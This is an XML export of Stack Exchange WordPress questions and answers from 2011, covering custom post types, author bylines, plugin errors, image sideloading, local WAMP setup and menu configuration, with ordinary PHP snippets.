  <row Id="19626" PostTypeId="1" AcceptedAnswerId="20454" CreationDate="2011-06-09T19:26:20.190" Score="1" ViewCount="85" Body="&lt;p&gt;I have created a custom taxonomy as described on &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/register_post_type#Arguments&quot; rel=&quot;nofollow&quot;&gt;the Codex&lt;/a&gt;. I have &quot;public&quot; set to true, which show_in_nav_menus is supposed to inherit from, and have also explicitly added the show_in_nav_menus variable and set it to true. However, it only shows up for the user with the username &quot;Admin&quot;. None of the other users can see it under Appearance &gt; Menus, even ones marked as being an &quot;Administrator&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my exact code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function create_con_casino_reviews() {&#xA;    register_post_type( 'con_casino_reviews',&#xA;        array(&#xA;            'labels' =&amp;gt; array(&#xA;                'name' =&amp;gt; __( 'Casino Reviews' , 'continuum'),&#xA;                'singular_name' =&amp;gt; __( 'Casino Review' , 'continuum'),&#xA;                'add_new' =&amp;gt; __('Add new review', 'continuum'),&#xA;                'edit_item' =&amp;gt; __('Edit review', 'continuum'),&#xA;                'new_item' =&amp;gt; __('New review', 'continuum'),&#xA;                'view_item' =&amp;gt; __('View review', 'continuum'),&#xA;                'search_items' =&amp;gt; __('Search reviews', 'continuum'),&#xA;                'not_found' =&amp;gt; __('No reviews found', 'continuum'),&#xA;                'not_found_in_trash' =&amp;gt; __('No reviews found in Trash', 'continuum')&#xA;            ),&#xA;            'public' =&amp;gt; true,&#xA;            'menu_position' =&amp;gt; 25,&#xA;            'menu_icon' =&amp;gt; get_stylesheet_directory_uri() . '/images/review-casino.png',&#xA;            'rewrite' =&amp;gt; array('slug' =&amp;gt; 'casino-review'),&#xA;            'supports' =&amp;gt; array('title','editor','author','thumbnail','excerpt','trackbacks','custom-fields','comments','revisions'),&#xA;            'taxonomies' =&amp;gt; array('category', 'post_tag'),&#xA;            'show_in_nav_menus' =&amp;gt; true&#xA;        )&#xA;    );&#xA;}&#xA;add_action( 'init', 'create_con_casino_reviews' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I change:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;register_post_type( 'con_casino_reviews',&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;register_post_type( 'con_casino_reviewss',&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It works just fine.&lt;/p&gt;&#xA;" OwnerUserId="5719" LastEditorUserId="5719" LastEditorDisplayName="" LastEditDate="2011-06-10T20:48:10.620" LastActivityDate="2011-06-20T03:38:56.167" Title="Post Type only showing for &quot;Admin&quot; under &quot;Appearance&quot; &gt; &quot;Menus&quot;" Tags="&lt;custom-post-types&gt;" AnswerCount="2" />
  <row Id="19627" PostTypeId="1" AcceptedAnswerId="19628" CreationDate="2011-06-09T19:58:59.620" Score="0" ViewCount="39" Body="&lt;p&gt;I'm developing a group blog on wordpress (first time working with it) and the client has requested that a 'None' option be added where an item can be posted without a &quot;by&quot; attribution. So basically there would be one article / excerpt template for attributed author's posts and another for the none option where the byline would just be the date posted without the &quot;by [author name].&quot; Is this possible with wordpress?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="6061" LastActivityDate="2011-06-09T20:17:39.253" Title="Creating an option for writing a post without an author attribution for a group blog on Wordpress" Tags="&lt;custom-post-types&gt;&lt;theme-development&gt;&lt;author&gt;" AnswerCount="1" />
  <row Id="19628" PostTypeId="2" ParentId="19627" CreationDate="2011-06-09T20:11:29.587" Score="1" ViewCount="" Body="&lt;p&gt;This is entirely possible. Though, I would recommend using the Post custom metadata (i.e. custom fields, or better yet, a custom metabox).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would use a custom metabox, with two radio select options:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Byline:&#xA;(*) Author&#xA;( ) None&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, in your template file, you can output the author byline only if the appropriate post_meta key has the appropriate value. If you want to get really fancy with it, you can even use the post_meta key/value to customize the Loop for your Author archive index output, so that Posts indicated not to display the byline don't output in the Author's archive index.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-06-09T20:17:39.253" LastActivityDate="2011-06-09T20:17:39.253" />
  <row Id="19629" PostTypeId="1" AcceptedAnswerId="19632" CreationDate="2011-06-09T20:19:31.403" Score="0" ViewCount="24" Body="&lt;p&gt;&lt;a href=&quot;http://bigpicturepartnering.com&quot; rel=&quot;nofollow&quot;&gt;http://bigpicturepartnering.com&lt;/a&gt;&#xA;I can log into the site. When I try to access the WP console I get the following error:&#xA;PHP Fatal error: Call to undefined function is_site_admin() in D:\websites\bigpicturepartnering\wp-content\plugins\wordpress-related-posts\related-posts.php on line 81&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I get into the console to disable the plugin?&lt;/p&gt;&#xA;" OwnerUserId="6063" LastEditorUserId="73" LastEditorDisplayName="" LastEditDate="2011-06-10T14:05:28.127" LastActivityDate="2011-06-10T14:05:28.127" Title="Cannot Access Console" Tags="&lt;plugins&gt;&lt;php&gt;" AnswerCount="1" />
  <row Id="19630" PostTypeId="1" AcceptedAnswerId="19642" CreationDate="2011-06-09T20:20:59.007" Score="0" ViewCount="154" Body="&lt;p&gt;I'm trying to create a custom form which takes an image (offsite) and attaches it to the post so I can use it as a thumbnail in the loop. I've been looking at media_handle_upload but that appears to only be working for content that's locally uploaded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Dennis&lt;/p&gt;&#xA;" OwnerUserId="4284" LastActivityDate="2011-06-09T21:49:54.180" Title="Upload image through URL?" Tags="&lt;post-thumbnails&gt;&lt;media-upload&gt;" AnswerCount="1" CommentCount="0" />
  <row Id="19631" PostTypeId="2" ParentId="19601" CreationDate="2011-06-09T20:21:27.080" Score="0" ViewCount="" Body="&lt;p&gt;My guess is that you're either running into issues with verbose rewrite rules (which, if you've reverted to default permalink structure and still have the problem, isn't the problem), or else you're just running into server resource limits. Have you tried using W3 Total Cache or another caching Plugin, to see if anything improves?&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-06-09T20:21:27.080" CommentCount="2" />
  <row Id="19632" PostTypeId="2" ParentId="19629" CreationDate="2011-06-09T20:23:36.217" Score="1" ViewCount="" Body="&lt;p&gt;Using the FTP client of your choice, go to &lt;code&gt;wp-content\plugins\&lt;/code&gt;, and delete (or move) the &lt;code&gt;wordpress-related-posts&lt;/code&gt; directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the way: what version of WordPress are you using? And is this a local install or a live site?&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-06-09T20:23:36.217" CommentCount="3" />
  <row Id="19633" PostTypeId="1" AcceptedAnswerId="19635" CreationDate="2011-06-09T20:29:20.173" Score="0" ViewCount="19" Body="&lt;p&gt;A theme normally posts to wp-comments-post.php when someone leaves a comment. When successful, it does a redirect to the page again but tacks on &quot;#comment-&quot; into the URL. What I was wanting to do was leave a message, &quot;Your comment awaits moderation, which takes about 24 hours.&quot; Sure, I can intercept location.href and see if it contains &quot;#comment-&quot; in it, and show the moderation message then. But there are other ways one can click on a page and &quot;#comment-&quot; gets shown, which makes this a visual quirk, not the way I intended it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's an easy way to make a WordPress theme detect that a comment was just posted and redirected back to the page?&lt;/p&gt;&#xA;" OwnerUserId="13" LastActivityDate="2011-06-09T20:44:58.530" Title="How To Detect Posted Comment in Theme Development?" Tags="&lt;theme-development&gt;&lt;comment-form&gt;" AnswerCount="1" />
  <row Id="19634" PostTypeId="1" CreationDate="2011-06-09T20:39:27.930" Score="0" ViewCount="39" Body="&lt;p&gt;I have a wordpress plugin that displays videos through a shortcode. My problem is it assigns the div's with ID's such as video-1-player, video-2-player, etc. I need to create a function that searches my content for &lt;code&gt;&amp;lt;div id=&quot;video-(any number here)-player&quot;&amp;gt;&lt;/code&gt; and adds a class inside the div.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found this code which searches for the first image and than you can print it. My PHP isn't good enough for me to edit it for how i need. Maybe this will help you?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function catch_that_image() {&#xA;  global $post, $posts;&#xA;  $first_img = '';&#xA;  ob_start();&#xA;  ob_end_clean();&#xA;  $output = preg_match_all('/&amp;lt;img.+src=[\'&quot;]([^\'&quot;]+)[\'&quot;].*&amp;gt;/i', $post-&amp;gt;post_content, $matches);&#xA;  $first_img = $matches [1] [0];&#xA;&#xA;  if(empty($first_img)){ //Defines a default image&#xA;    $first_img = &quot;/images/default.jpg&quot;;&#xA;  }&#xA;  return $first_img;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5140" LastEditorUserId="5140" LastEditorDisplayName="" LastEditDate="2011-06-09T20:45:19.170" LastActivityDate="2011-06-10T17:44:59.927" Title="search and add in wordpress content" Tags="&lt;php&gt;&lt;search&gt;&lt;content&gt;" AnswerCount="2" />
  <row Id="19635" PostTypeId="2" ParentId="19633" CreationDate="2011-06-09T20:44:58.530" Score="1" ViewCount="" Body="&lt;p&gt;The easiest and most straight-forward way is to put appropriate code in your &lt;code&gt;wp_list_comments()&lt;/code&gt; callback, that outputs a message if a comment is awaiting moderation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The usual code looks something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ($comment-&amp;gt;comment_approved == '0') : ?&amp;gt;&#xA;&amp;lt;em&amp;gt;&amp;lt;?php _e('Your comment is awaiting moderation.') ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Otherwise, if you're not using a callback, you can hook into an appropriate action hook, such as &lt;code&gt;pre_comment_content&lt;/code&gt;, to inject the same content.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-06-09T20:44:58.530" CommentCount="1" />
  <row Id="19636" PostTypeId="1" CreationDate="2011-06-09T21:02:57.200" Score="0" ViewCount="80" Body="&lt;p&gt;What's the quickest way to create a Windows instance of an existing WordPress site assuming I've got the backup of the code and DB from the server?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have played around with various LAMP stacks but wonder if there isn't just something simple and light I can do.&lt;/p&gt;&#xA;" OwnerUserId="2438" LastEditorUserId="73" LastEditorDisplayName="" LastEditDate="2011-06-09T21:26:28.457" LastActivityDate="2011-06-10T02:42:41.343" Title="Windows 7 download WordPress and load into LAMP stack and configure" Tags="&lt;local-installation&gt;&lt;windows&gt;" AnswerCount="3" />
  <row Id="19637" PostTypeId="1" AcceptedAnswerId="19847" CreationDate="2011-06-09T21:05:07.613" Score="3" ViewCount="200" Body="&lt;p&gt;I'm creating a custom post form that is supposed to take an external image and uploads it to the media library and attach it to that post. This should be possible by using media_sideload_image, but I'm getting a blank page instead of working correctly, no error either. My code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Add the content of the form to $post as an array&#xA;        $new_post = array(&#xA;            'post_title'    =&amp;gt; $title,&#xA;            'post_content'  =&amp;gt; $description,&#xA;            'tags_input'    =&amp;gt; $tags,&#xA;            'post_type'     =&amp;gt; 'link_submit',&#xA;            'post_status'   =&amp;gt; 'publish'&#xA;        );&#xA;        //save the new post and return its ID&#xA;        if ($stop == false){&#xA;            $pid = wp_insert_post($new_post);&#xA;            update_post_meta($pid,'Link',$link,true);&#xA;            update_post_meta($pid,'Type',$type,true);&#xA;                    // attach image&#xA;            set_time_limit(300);&#xA;            $upload = media_sideload_image($link, $pid, &quot;test&quot;);&#xA;            if ( is_wp_error( $upload ) ){&#xA;            die( 'Nope' );&#xA;            }&#xA;&#xA;            $link = get_permalink( $pid );&#xA;            wp_redirect( $link.&quot;?posted&quot; );&#xA;            die();&#xA;        }   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Dennis&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit: new code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (is_page('Upp')){&#xA;    require_once(ABSPATH . 'wp-admin/includes/file.php');&#xA;    require_once(ABSPATH . 'wp-admin/includes/media.php');&#xA;    set_time_limit(300);&#xA;    $upload = media_sideload_image(&quot;http://29.media.tumblr.com/tumblr_lmp1tbiYwh1qzlfumo1_500.jpg&quot;, &quot;202&quot;, &quot;my description&quot;);&#xA;    die ( $upload );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4284" LastEditorUserId="4284" LastEditorDisplayName="" LastEditDate="2011-06-13T16:17:14.510" LastActivityDate="2011-06-21T01:52:10.167" Title="media_sideload_image generates blank?" Tags="&lt;post-thumbnails&gt;&lt;attachments&gt;&lt;media-upload&gt;" AnswerCount="1" />
  <row Id="19638" PostTypeId="1" CreationDate="2011-06-09T21:15:27.167" Score="0" ViewCount="34" Body="&lt;p&gt;I've built a plugin that parses an XML feed from ArtistData and displays it on a page via shortcode.  The plugin works as expected on my &lt;a href=&quot;http://christopherjoel.com/shows/&quot; rel=&quot;nofollow&quot;&gt;site&lt;/a&gt; and on my band's site.  However, one of my bandmates installed it and the &quot;shows&quot; &lt;a href=&quot;http://michaelestok.com/shows/&quot; rel=&quot;nofollow&quot;&gt;page&lt;/a&gt; on his site simply stops loading where the shortcode would normally be replaced by the plugin content.  There's nothing after it (not even the HTML closing tag).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried deactivating all the other plugins, but it doesn't appear to make any difference.  Plus, I named all my functions very uniquely to prevent plugin conflicts anyway.  We're using different themes, but we're both hosted on GoDaddy.  I checked the theme options (Big Feature 1.3.3 by Roger Grimstad), but there isn't anything there about shortcodes.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've double, triple checked all my code and everything seems in order.  I modified my code to remove the output buffering in the shortcode function, but that didn't seem to make a difference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm especially stumped since it all works on my site and for the life of me I can't figure out why it stops loading the page.  Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="6064" LastActivityDate="2011-06-09T21:15:27.167" Title="Page stops loading at shortcode" Tags="&lt;shortcode&gt;" CommentCount="4" />
  <row Id="19639" PostTypeId="2" ParentId="19636" CreationDate="2011-06-09T21:30:24.837" Score="1" ViewCount="" Body="&lt;p&gt;Do not use a LAMP on Windows, use a WAMP like &lt;a href=&quot;http://www.apachefriends.org/en/xampp-windows.html&quot; rel=&quot;nofollow&quot;&gt;XAMPP&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-06-09T21:30:24.837" CommentCount="1" />
  <row Id="19640" PostTypeId="2" ParentId="19636" CreationDate="2011-06-09T21:32:30.857" Score="1" ViewCount="" Body="&lt;p&gt;LAMP is &quot;Linux Apache MySQL PHP&quot;.&#xA;WAMP is &quot;Windows Apache MySQL PHP&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will need one of the WAMP packages such as &lt;a href=&quot;http://www.devside.net/server/webdeveloper&quot; rel=&quot;nofollow&quot;&gt;Wamp Developer&lt;/a&gt; (commercial), &lt;a href=&quot;http://www.apachefriends.org/en/xampp.html&quot; rel=&quot;nofollow&quot;&gt;Xampp&lt;/a&gt; (free), WampServer (free).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you'll need to add your previous website files into the DocumentRoot of a VirtualHost and use phpMyAdmin (or the mysql command line) to import your database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you change the database name or user or password, you'll also need to edit WP's wp-config.php file and update that info.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, WampDeveloper can install WordPress for you automatically, which means you might be able to just import the previous pages/posts/comments if you use the native wordpress export/import abilities (to and from an xml file).&lt;/p&gt;&#xA;" OwnerUserId="5584" LastEditorUserId="5584" LastEditorDisplayName="" LastEditDate="2011-06-09T21:39:00.250" LastActivityDate="2011-06-09T21:39:00.250" />
  <row Id="19641" PostTypeId="2" ParentId="19616" CreationDate="2011-06-09T21:41:26.557" Score="0" ViewCount="" Body="&lt;p&gt;Well, I had seen it and was thrown off by the first argument, but it does exactly what is needed. From wp-includes/taxonomy.php:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;function wp_get_object_terms($object_ids, $taxonomies, $args = array())&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And to use it as I wished, giving me a flat list of matching IDs, push 'fields'=&gt;'ids' into $args, like so:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;wp_get_object_terms($post_id, TAXONOMY_NAME, array('fields'=&amp;gt;'ids'));&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="3687" LastActivityDate="2011-06-09T21:41:26.557" />
  <row Id="19642" PostTypeId="2" ParentId="19630" CreationDate="2011-06-09T21:49:54.180" Score="1" ViewCount="" Body="&lt;p&gt;When you link to an external image, WordPress will reference the external URL.  &lt;code&gt;media_handle_upload&lt;/code&gt; is meant to handle uploaded images that are now living on your server.  So unless you're telling the server to download the image from the external source and save it on your server, &lt;code&gt;media_handle_upload&lt;/code&gt; won't apply.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It sounds like you're building your own custom importer.  I recommend you take a deeper look at the process.  A typical upload:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;User selects file from local system&lt;/li&gt;&#xA;&lt;li&gt;File uploads through form to $_POST variable&lt;/li&gt;&#xA;&lt;li&gt;WordPress takes file out of POSTed form, runs it through &lt;code&gt;media_handle_upload&lt;/code&gt;, and stores it on the server&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you're referencing an offsite image and attaching it to the post, WordPress won't do steps 2 and 3.  You'll need to add your own scripts to grab the remote image and store a copy locally.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-06-09T21:49:54.180" CommentCount="3" />
  <row Id="19643" PostTypeId="1" AcceptedAnswerId="19651" CreationDate="2011-06-09T21:57:43.523" Score="0" ViewCount="120" Body="&lt;p&gt;i got a wp site with the &lt;a href=&quot;http://wordpress.org/extend/plugins/sitepress-multilingual-cms/&quot; rel=&quot;nofollow&quot;&gt;WPML&lt;/a&gt; plugin and the &lt;a href=&quot;http://wordpress.org/extend/plugins/custom-field-template/&quot; rel=&quot;nofollow&quot;&gt;CFT&lt;/a&gt; plugin. I set up custom fields for posts and what i'm trying to do is to keep the content of an &lt;code&gt;input type file&lt;/code&gt; from the original post to its translation. That would save time as the pictures are the same between both posts and also save disk space on the ftp. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far i couldnt get it working, not even to get basic &lt;code&gt;input type text&lt;/code&gt; automatically pasted from the 1st post to its translation. I tried the different options in WPML &gt; Translation management &gt; Mutlilingual content setup &gt; Custom fields translation without any result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: am using WP 3.1.3, WPML 2.0.4.1 and CFT 1.9.2.&lt;/p&gt;&#xA;" OwnerUserId="1997" LastActivityDate="2011-06-10T00:18:37.317" Title="WPML &amp; CFT: keeping custom field file to translation" Tags="&lt;custom-field&gt;&lt;plugin-wpml&gt;" AnswerCount="1" />
  <row Id="19644" PostTypeId="1" CreationDate="2011-06-09T22:04:37.153" Score="1" ViewCount="26" Body="&lt;p&gt;A WordPress site I'm doing a redesign for has around 1.400 posts by approximately 30 different authors. Unfortunately the authors of the posts have so far been entered as a custom field within the post, and not as separate authors in WP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to transfer this to the 'proper way', where each post has an author attached to it, since this would make it possible to display more posts by each author without resorting to plugins like &lt;a href=&quot;http://wordpress.org/extend/plugins/search-everything/&quot; rel=&quot;nofollow&quot;&gt;Search Everything&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anybody know of a script that could look through all the posts, search for the custom field containing and author and create that author, and then link the post to that author? (I know, long shot...)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is that even possible or is there an another way apart from going through 1.400 posts and changing them by hand?&lt;/p&gt;&#xA;" OwnerUserId="4567" LastActivityDate="2011-06-09T22:04:37.153" Title="Transferring author information from a custom field to a proper author" Tags="&lt;custom-field&gt;&lt;author&gt;" />
  <row Id="19645" PostTypeId="2" ParentId="19626" CreationDate="2011-06-09T22:14:57.327" Score="2" ViewCount="" Body="&lt;p&gt;Can you see it when you open the '&lt;strong&gt;Screen Options&lt;/strong&gt;' menu on the top right of the admin next to the '&lt;strong&gt;Help&lt;/strong&gt;' button? And with another user name?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am a bit confused because your code doesnt show any &lt;code&gt;register_post_type()&lt;/code&gt; function. &#xA;Also, do you want to create a &lt;strong&gt;custom post type&lt;/strong&gt; or a &lt;strong&gt;custom taxonomy&lt;/strong&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try with this basic code to create a custom post type, to see if it works for you:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* books custom post type */&#xA;add_action( 'init', 'create_books' );&#xA;function create_books() {&#xA;    register_post_type( 'cpt-books',&#xA;        array(&#xA;            'labels' =&amp;gt; array(&#xA;                'name' =&amp;gt; __( 'Books' ),&#xA;                'singular_name' =&amp;gt; __( 'Book' )&#xA;                ),&#xA;            'public' =&amp;gt; true,&#xA;            'show_ui' =&amp;gt; true,&#xA;            'publicly_queryable' =&amp;gt; true,&#xA;            'exclude_from_search' =&amp;gt; false,&#xA;            'menu_position' =&amp;gt; 4,&#xA;            'query_var' =&amp;gt; true,&#xA;            'supports' =&amp;gt; array( 'title', 'editor' )&#xA;&#xA;        )&#xA;    );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1997" LastActivityDate="2011-06-09T22:14:57.327" CommentCount="7" />
  <row Id="19646" PostTypeId="2" ParentId="19618" CreationDate="2011-06-09T22:20:27.327" Score="0" ViewCount="" Body="&lt;p&gt;Try to change the second loops with this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $temp = $wp_query; $wp_query= null; $wp_query = new WP_Query('showposts=15&amp;amp;post_type=page&amp;amp;post_parent='.$parent); ?&amp;gt;&#xA;&#xA;&amp;lt;?php while ($wp_query-&amp;gt;have_posts()) : $wp_query-&amp;gt;the_post(); ?&amp;gt;&#xA;&#xA;/* your content */&#xA;&#xA;&amp;lt;?php endwhile; ?&amp;gt;&#xA;&#xA;&amp;lt;?php $wp_query = null; $wp_query = $temp; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1997" LastActivityDate="2011-06-09T22:20:27.327" CommentCount="2" />
  <row Id="19647" PostTypeId="1" CreationDate="2011-02-15T18:44:33.470" Score="0" ViewCount="122" Body="&lt;p&gt;i need to create a form in wp, a long with paypal, the user will make a payment on paypal and will also submit the form to site.&#xA;i also need to put a custom variable in the paypal form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i am using misiek paypal for paypal&#xA;and formbuilder to generate form, now i need to combine both the plugins. so that when the form is submitted the user can check if a transaction has been made or not and if it doesn't it needs to mail the user, i am only stuck at this point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;is there a way to combine both the plugins or do you recommend using a plugin which have options for both?&lt;/p&gt;&#xA;" LastActivityDate="2011-08-11T14:22:23.960" Title="wordpress form and paypal?" Tags="&lt;php&gt;" AnswerCount="1" />
  <row Id="19648" PostTypeId="2" ParentId="19647" CreationDate="2011-02-15T19:57:59.653" Score="0" ViewCount="" Body="&lt;p&gt;check out the e-commerce plugin: &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-e-commerce/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/wp-e-commerce/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It will let you handle the paypal integration, have products, and have the form to fill out. Everything you need in one plugin.&lt;/p&gt;&#xA;" LastActivityDate="2011-02-15T19:57:59.653" CommentCount="2" />
  <row Id="19649" PostTypeId="1" AcceptedAnswerId="19679" CreationDate="2011-06-09T23:14:58.413" Score="1" ViewCount="93" Body="&lt;p&gt;i've installed a LAMP server on my ubunutu 11.04.&#xA;i've installed wordpress and hooked it right with the MySQL db.&#xA;i've changed the permissions of the www-data group to read and write files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;every thing is seems to work and i can manage the site through the admin panel, but i can't install plugins cause the system is asking me the FTP details, and i can't seem to go through it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;can any body help? please...&lt;/p&gt;&#xA;" OwnerUserId="3603" LastActivityDate="2011-06-10T15:56:17.320" Title="wordpress on localhost lamp doesn't let me install plugins" Tags="&lt;plugins&gt;&lt;installation&gt;&lt;ftp&gt;&lt;localhost&gt;" AnswerCount="4" />
  <row Id="19650" PostTypeId="1" AcceptedAnswerId="19680" CreationDate="2011-06-09T23:49:55.353" Score="0" ViewCount="35" Body="&lt;p&gt;I have purchased the DynamiX theme, and I'm trying to use it for the first time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was looking at the widgets, and I saw some neat customized (Dynamic maybe?) widgets in the Inactive Widgets section. I was going to drag one to my Sidebar, but accidentally dropped it, and now it is gone. Is there any way to retrieve those? I don't even know exactly what it was, I just know that it was part of my theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm pretty new to Wordpress, so please bear with me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="6067" LastEditorUserId="6067" LastEditorDisplayName="" LastEditDate="2011-06-10T01:20:24.150" LastActivityDate="2011-06-10T11:19:43.740" Title="What happened to my Inactive Widgets?" Tags="&lt;themes&gt;&lt;widgets&gt;" AnswerCount="1" />
  <row Id="19651" PostTypeId="2" ParentId="19643" CreationDate="2011-06-10T00:18:37.317" Score="1" ViewCount="" Body="&lt;p&gt;The latest version of WPML (version 2.3) has a new module for Media and this module takes care of the previous images issue. &#xA;Now there is no longer the need to upload the same image twice. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just like copying the content from the original language, it is now also possible to duplicate the images and/or the featured image:&#xA;&lt;img src=&quot;http://i.stack.imgur.com/isKm8.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2015" LastActivityDate="2011-06-10T00:18:37.317" CommentCount="11" />
  <row Id="19652" PostTypeId="1" CreationDate="2011-06-10T00:25:43.337" Score="3" ViewCount="103" Body="&lt;p&gt;I have events that have an event-date custom field.  I want to create a date based page to display all events for a given day, and my hope was to use the url to help with that. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a 7 day calendar working, and it shows a &quot;featured&quot; event for a given day.  Then I want to link to a page that shows all the events for that day. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not sure if this is at all possible but I figured the geniuses in this Stack would know.&lt;/p&gt;&#xA;" OwnerUserId="5181" LastActivityDate="2011-06-14T17:18:41.453" Title="How to give a CPT (custom post type) a date based url" Tags="&lt;custom-post-types&gt;&lt;urls&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="3" />
  <row Id="19653" PostTypeId="1" AcceptedAnswerId="19671" CreationDate="2011-06-10T01:30:25.057" Score="1" ViewCount="153" Body="&lt;p&gt;I'm building a menu which contains categories. &#xA;Is  there a way to make each menu option show a list of recent posts in that category when you hover over it?&lt;/p&gt;&#xA;" OwnerUserId="4567" LastActivityDate="2011-06-10T08:38:15.643" Title="Show recent posts in menu?" Tags="&lt;categories&gt;&lt;menus&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="19654" PostTypeId="1" AcceptedAnswerId="19656" CreationDate="2011-06-10T02:31:27.567" Score="0" ViewCount="24" Body="&lt;p&gt;&lt;code&gt;http://localhost/lyrics/don't-turn-me-away/&lt;/code&gt;&#xA;is a custom post type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;my question is how to display &lt;code&gt;http://localhost/lyrics/&lt;/code&gt; as a page and not an archive?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;my goal really is just for it be added to &lt;code&gt;wp_nav_menu&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have created a page named &lt;code&gt;lyrics&lt;/code&gt; but it won't direct me there. Instead it brings me to &lt;code&gt;archive.php&lt;/code&gt;. With that, the &lt;code&gt;lyrics&lt;/code&gt; in menu, don't have the &lt;code&gt;current-menu-item&lt;/code&gt; class.&lt;/p&gt;&#xA;" OwnerUserId="974" LastActivityDate="2011-06-10T03:31:54.753" Title="archive as a page, so that it can be added in the wp_menu_nav" Tags="&lt;custom-post-types&gt;&lt;archive&gt;" AnswerCount="1" />
